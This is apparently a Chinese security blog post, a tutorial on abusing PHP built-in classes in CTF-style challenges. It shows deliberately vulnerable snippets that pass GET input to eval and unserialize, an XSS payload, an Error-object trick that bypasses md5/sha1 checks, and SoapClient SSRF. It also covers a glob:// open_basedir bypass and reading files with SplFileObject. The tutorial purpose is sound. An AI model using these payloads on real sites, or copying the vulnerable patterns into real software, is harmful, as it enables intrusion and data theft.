浅谈php中常见的原生类

admin 2023年7月12日14:00:49浅谈php中常见的原生类已关闭评论29 views字数 2672阅读8分54秒阅读模式

什么是php原生类

php原生类就是不用在当前脚本中写出来也可以直接实例化,因为php已经内置好了,等待调用;

一般来说,我们都是挑一些会调用tostring的内置类来用,比如Error类,这是php中内置的错误类,在php网站查看他的属性:

浅谈php中常见的原生类

在倒数第二行,就看到了__toString,那么就可以通过写一个任意的Error类进行调用;

Error内置类

php7中,引入了该类,主要是用来自定义一个Error,但是如果使用不当会造成xss,因为error类内置了一个tostring方法

<?php
$xss = new Error($_GET[1]);
echo $xss;
?>

浅谈php中常见的原生类

Error命令执行

如果有eval函数,也可以造成命令执行!

<?php
$aa = $_GET[1];
$bb = $_GET[2];
eval("echo new $aa($bb);")
?>

浅谈php中常见的原生类

error输出的内容可以是相等的,也可以是不想等,主要是看脚本怎么写,之所以想等是因为输出的错误信息一致,但是可能会因为行号不一样,可能就不相等了,有点绕,接下来用代码作为示例;

<?php
show_source(__FILE__);
$a = new Error('666',1);
$b = new Error('666',2);
if($a == $b){
echo 'true';
}
else{
echo 'false';
}
?>

这一段代码会输出false,因为这两语句不向等,浅浅研究了一下,发现必须内容是一样的,也就是说new error('xxx',x)两个语句都必须要一样,其次就是所在行也必须是一样的,也就是下面那样:

<?php
show_source(__FILE__);
$a = new Error('666',1);$b = new Error('666',1);
if($a == $b){
echo 'true';
}
else{
echo 'false';
}
?>

返回了true;;

关于为什么相同,咱们又又又又又又又又可以分析一下:

将这几行代码运行:

<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "<br/>";
echo $b;
?>

浅谈php中常见的原生类

输出的内容都是一个样,so~相等,将他们放在同一行是因为避免报错行不一样!,这样子输出一模一样的内容的话,怎么计算他们都是相等的。

```
$a = new Error('aa',1);
$b = new Error('aa',2);
// 结果 = false;

$a = new Error('aa',1);
$b = new Error('aa',1);
// 结果 = false;

$a = new Error('aa',1);$b = new Error('aa',1);
// 结果 = true;

$a = new Error('aa',1);$b = new Error('aa',2);
// 结果 = false;
```

拿一道例题摘抄某一部分来做:

```
<?php
class a{
public $a1;
public $a2;

public function __wakeup(){
if($this->a1 != $this->a2 && md5($this->a1) === md5($this->a2) && sha1($this->a1) === sha1($this->a2)){
echo 'get_flag';
}else{
echo 'not_get_flag';
}
}
}
unserialize($_GET[1]);
?>
```

这道题源自于[极客大挑战 2020]Greatphp,稍稍改动了一下,题目大概的意思就是说a1和a2不能想等,但是要求md5和sha1想等!这就不能用啥数组或者碰撞了,但是可以通过error原生类来做这一题。

payload如下:

<?php
class a{
public $a1;
public $a2;
}
$e1 = new Error('haha',1);$e2 = new Error('haha',2);
$aa = new a();
$aa->a1=$e1;
$aa->a2 = $e2;
echo urlencode(serialize($aa));

虽然他们处于同一行,但是内容不一样,所以可以通过第一层验证,其次就是,输出的内容都是一样的,所以也可以绕过md5和sha1认证。

浅谈php中常见的原生类

Exception内置类

exception类和error差不多,但是exception对php版本更加友好,无论是php5还是php7都能使用,同样,exception类内置tostring可以用。

示例

$a = unserialize($_GET[1]);
echo $a;

payload:

$a = new Exception("<script>alert(/Xss/)</script>");
echo urlencode(serialize($a));

浅谈php中常见的原生类

soapclient原生类

soap是php内置专门用来访问web服务的类,当访问了不存在的类时,就会出发内置的__call方法;

$a = new SoapClient(null,array('location'=>"http://127.0.0.1/1.php","uri"=>"123"));
$b = serialize($a);
$c = unserialize($b);
$c->nocall();

当不存在nocall()时就会调用该类,因此该类用来ssrf是目前最好的内置类;
不过这个类只能用来访问http和https的链接,不能用file协议,最好是可以配合CRLF进行攻击!

soapclient([是否设置成wsal],[不设置就必须要有location和uri两个参数])
其中location是访问的地址,uri是目标命名空间;

DirectoryIterator类

DirectoryIterator类是在php5中新增的一个用来查看文件系统目录的内置类,配合glob://可以突破open_basedir;

```
<?php
$a = new DirectoryIterator($_GET[1]);
foreach($a as $f){
echo $f->__toString().'
' ;
}
?>

```

传值:

/?1=glob:///*

浅谈php中常见的原生类

虽然但是看起来很厉害,但是捏,这个好像只能看根目录,看其他的目录输出不了。。。

SplFileObject

当遇到directorylterator类读取到了完整的文件名,那么就可以用splfileobject读取文件内容,这个必须获取到完整的文件名才能读取,且不支持通配符!如果当成字符串输出时,会主动触发tostring。

```

error_reporting(0);

highlight_file(FILE);

class a{
public $aa;
public $bb;
public function __wakeup()
{
echo new $this->aa($this->bb);
}
}
unserialize($_GET[1]);
?>

```

这个payload很好构造,只需要把aa等于splfileobject,把bb等于我们要读的目录即可!

```
<?php

class a{
public $aa;
public $bb;
public function __wakeup()
{
echo new $this->aa($this->bb);
}
}
$aa = new a();
$aa->aa = 'SplFileObject';
$aa->bb = '/Users/mac/Desktop/www/20230528/flag';
echo serialize($aa);
?>
```

合理配合不同的类,可以打出意想不到的结果!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月12日14:00:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈php中常见的原生类https://cn-sec.com/archives/1868871.html